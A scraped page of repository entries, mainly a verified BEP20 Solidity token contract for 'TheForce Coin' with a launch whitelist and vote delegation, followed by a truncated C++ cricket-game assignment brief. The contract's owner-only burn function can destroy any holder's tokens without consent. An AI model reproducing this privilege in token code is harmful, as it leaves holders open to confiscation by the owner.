aisaanzy / FOC/** *Submitted for verification at BscScan.com on 2021-04-25 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor() internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'Address: low-level call failed'); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 'Address: low-level call with value failed'); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, 'Address: insufficient balance for call'); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), 'Address: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // /** * @dev Implementation of the {IBEP20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {BEP20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-BEP20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of BEP20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IBEP20-approve}. */ contract BEP20 is Context, IBEP20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; /// maxSupply set to one billion uint256 public maxSupply = 1000000000*10**18; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the bep token owner. */ function getOwner() external override view returns (address) { return owner(); } /** * @dev Returns the token name. */ function name() public override view returns (string memory) { return _name; } /** * @dev Returns the token decimals. */ function decimals() public override view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() public override view returns (string memory) { return _symbol; } /** * @dev See {BEP20-totalSupply}. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See {BEP20-balanceOf}. */ function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ /** * recipient as LP-pair to be called to initialise timestamp for WhitelistRound * */ function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {BEP20-allowance}. */ function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {BEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {BEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance') ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero') ); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function mint(uint256 amount) public onlyOwner returns (bool) { require(_totalSupply.add(amount) <= maxSupply,'Force: exceed max supply!'); _mint(_msgSender(), amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), 'BEP20: transfer from the zero address'); require(recipient != address(0), 'BEP20: transfer to the zero address'); _balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance'); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), 'BEP20: mint to the zero address'); require(_totalSupply.add(amount) <= maxSupply,'Force: exceed max supply!'); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), 'BEP20: burn from the zero address'); _balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance'); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal { require(owner != address(0), 'BEP20: approve from the zero address'); require(spender != address(0), 'BEP20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve( account, _msgSender(), _allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance') ); } } contract LGEWhitelisted is Context { using SafeMath for uint256; struct WhitelistRound { uint256 duration; uint256 amountMax; mapping(address => bool) addresses; mapping(address => uint256) purchased; } WhitelistRound[] public _lgeWhitelistRounds; uint256 public _lgeTimestamp; address public _lgePairAddress; address public _whitelister; event WhitelisterTransferred(address indexed previousWhitelister, address indexed newWhitelister); constructor () internal { _whitelister = _msgSender(); } modifier onlyWhitelister() { require(_whitelister == _msgSender(), "Caller is not the whitelister"); _; } function renounceWhitelister() external onlyWhitelister { emit WhitelisterTransferred(_whitelister, address(0)); _whitelister = address(0); } function transferWhitelister(address newWhitelister) external onlyWhitelister { _transferWhitelister(newWhitelister); } function _transferWhitelister(address newWhitelister) internal { require(newWhitelister != address(0), "New whitelister is the zero address"); emit WhitelisterTransferred(_whitelister, newWhitelister); _whitelister = newWhitelister; } function resetTimestamp() external onlyWhitelister() { _lgeTimestamp = 0; } /* * createLGEWhitelist - Call this after initial Token Generation Event (TGE) * * pairAddress - address generated from createPair() event on DEX * durations - array of durations (seconds) for each whitelist rounds * amountsMax - array of max amounts (TOKEN decimals) for each whitelist round * */ function createLGEWhitelist(address pairAddress, uint256[] calldata durations, uint256[] calldata amountsMax) external onlyWhitelister() { require(durations.length == amountsMax.length, "Invalid whitelist(s)"); _lgePairAddress = pairAddress; if(durations.length > 0) { delete _lgeWhitelistRounds; for (uint256 i = 0; i < durations.length; i++) { _lgeWhitelistRounds.push(WhitelistRound(durations[i], amountsMax[i])); } } } /* * modifyLGEWhitelistAddresses - Define what addresses are included/excluded from a whitelist round * * index - 0-based index of round to modify whitelist * duration - period in seconds from LGE event or previous whitelist round * amountMax - max amount (TOKEN decimals) for each whitelist round * */ function modifyLGEWhitelist(uint256 index, uint256 duration, uint256 amountMax, address[] calldata addresses, bool enabled) external onlyWhitelister() { require(index < _lgeWhitelistRounds.length, "Invalid index"); require(amountMax > 0, "Invalid amountMax"); if(duration != _lgeWhitelistRounds[index].duration) _lgeWhitelistRounds[index].duration = duration; if(amountMax != _lgeWhitelistRounds[index].amountMax) _lgeWhitelistRounds[index].amountMax = amountMax; for (uint256 i = 0; i < addresses.length; i++) { _lgeWhitelistRounds[index].addresses[addresses[i]] = enabled; } } /* * getLGEWhitelistRound * * returns: * * 1. whitelist round number ( 0 = no active round now ) * 2. duration, in seconds, current whitelist round is active for * 3. timestamp current whitelist round closes at * 4. maximum amount a whitelister can purchase in this round * 5. is caller whitelisted * 6. how much caller has purchased in current whitelist round * */ function getLGEWhitelistRound() public view returns (uint256, uint256, uint256, uint256, bool, uint256) { if(_lgeTimestamp > 0) { uint256 wlCloseTimestampLast = _lgeTimestamp; for (uint256 i = 0; i < _lgeWhitelistRounds.length; i++) { WhitelistRound storage wlRound = _lgeWhitelistRounds[i]; wlCloseTimestampLast = wlCloseTimestampLast.add(wlRound.duration); if(now <= wlCloseTimestampLast) return (i.add(1), wlRound.duration, wlCloseTimestampLast, wlRound.amountMax, wlRound.addresses[_msgSender()], wlRound.purchased[_msgSender()]); } } return (0, 0, 0, 0, false, 0); } /* * _applyLGEWhitelist - internal function to be called initially before any transfers * */ function _applyLGEWhitelist(address sender, address recipient, uint256 amount) internal { if(_lgePairAddress == address(0) || _lgeWhitelistRounds.length == 0) return; if(_lgeTimestamp == 0 && sender != _lgePairAddress && recipient == _lgePairAddress && amount > 0) _lgeTimestamp = now; if(sender == _lgePairAddress && recipient != _lgePairAddress) { //buying (uint256 wlRoundNumber,,,,,) = getLGEWhitelistRound(); if(wlRoundNumber > 0) { WhitelistRound storage wlRound = _lgeWhitelistRounds[wlRoundNumber.sub(1)]; require(wlRound.addresses[recipient], "LGE - Buyer is not whitelisted"); uint256 amountRemaining = 0; if(wlRound.purchased[recipient] < wlRound.amountMax) amountRemaining = wlRound.amountMax.sub(wlRound.purchased[recipient]); require(amount <= amountRemaining, "LGE - Amount exceeds whitelist maximum"); wlRound.purchased[recipient] = wlRound.purchased[recipient].add(amount); } } } } // ForceToken with Governance. contract ForceCoin is BEP20('TheForce Coin', 'FOC'), LGEWhitelisted { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (JediMaster). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } function burn(address _from ,uint256 _amount) public onlyOwner { _burn(_from, _amount); _moveDelegates(_delegates[_from], address(0), _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @dev A record of each accounts delegate mapping (address => address) internal _delegates; /// @dev A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "FORCE::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "FORCE::delegateBySig: invalid nonce"); require(now <= expiry, "FORCE::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "FORCE::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying FORCEs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "FORCE::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } function _transfer(address sender, address recipient, uint256 amount) internal override { LGEWhitelisted._applyLGEWhitelist(sender, recipient, amount); super._transfer(sender, recipient, amount); } }
virtual-disk-array / Vdavirtual disk array
Vishalport / Gully Cricket GameVirtual Cricket Game Application Hi, Welcome Back! Glad to see that we have made it so far in this training i.e. till the last module. This training has tested you on all fronts and has made sure that you become a good programmer. Continuing with the same spirit, enthusiasm, and excitement - we have one final project for you which is basically the next level of the Gully Cricket application that you have already developed in module 3. In this module, you have to create a Virtual Cricket Game application called “CRIC-IN”. Now, how to create it? What all details are required? Don’t worry, we have covered all the details for you. Below this, you will find all the necessary details required to code this project. All the Best! Problem Statement Build a cricket game application using the C++ programming language. Required Output Please check the game-output.pdf file provided with this problem statement. It’s not necessary to mimic the exact same output. You can use your own creativity and make your app output better than the given required output. Project Requirements 1. There should be two teams: TeamA and TeamB a. Each team will have 4 players. b. The players for each team will be selected by the user from the given pool of 11 players. You can assign the names to those 11 players yourself. c. The sequence in which the players are selected for each team will decide the batting and bowling sequence for that team. For example, if Team A has Virat, Rohit, Dhawan, and Rahul; Virat will be the first player to bat or ball. 2. There should be two innings. a. Each innings will be of 6 balls. b. In each innings, only one bowler from the bowling team will bowl all the 6 deliveries and at a time one batsman from the batting team will bat until he is declared out. c. The first player from the bowling team will be always selected to bowl first and the first player from the batting team will be always selected to bat first. d. When a batsman is OUT, the next batsman from the batting team in sequence will start batting. 3. There should be a toss functionality. a. The team who wins the toss will decide to either bat or bowl first. 4. In each delivery, possible runs can be scored from 0 to 6. 5. OUT criteria: If a batsman scores 0 runs he will be declared OUT and the next batsman in sequence will start batting. 6. Match End criteria a. If runs scored by TeamA is greater than the opponent TeamB, then TeamA will win the game or vice-versa. b. If runs scored by TeamA and TeamB are the same then the match will draw. 7. Improve user experience by adding functions to display the pool of all the 11 players, display players of each team after team selection, display game scorecard after each delivery and display the match summary when the match ends. Rough Algorithm with Approach 1. Create three classes namely Player, Team, and Game. a. Create 3 header files (.h) and the corresponding source files (.cpp) for the three classes. b. Declare Player class attributes to store information such as name, unique id, runs scored, balls played, balls bowled, runs given, and wickets taken in the match. c. Declare Team class attributes to store information such as team name, total runs scored by the team, total wickets lost, total balls bowled, and list of team players. d. Declare Game class attributes to 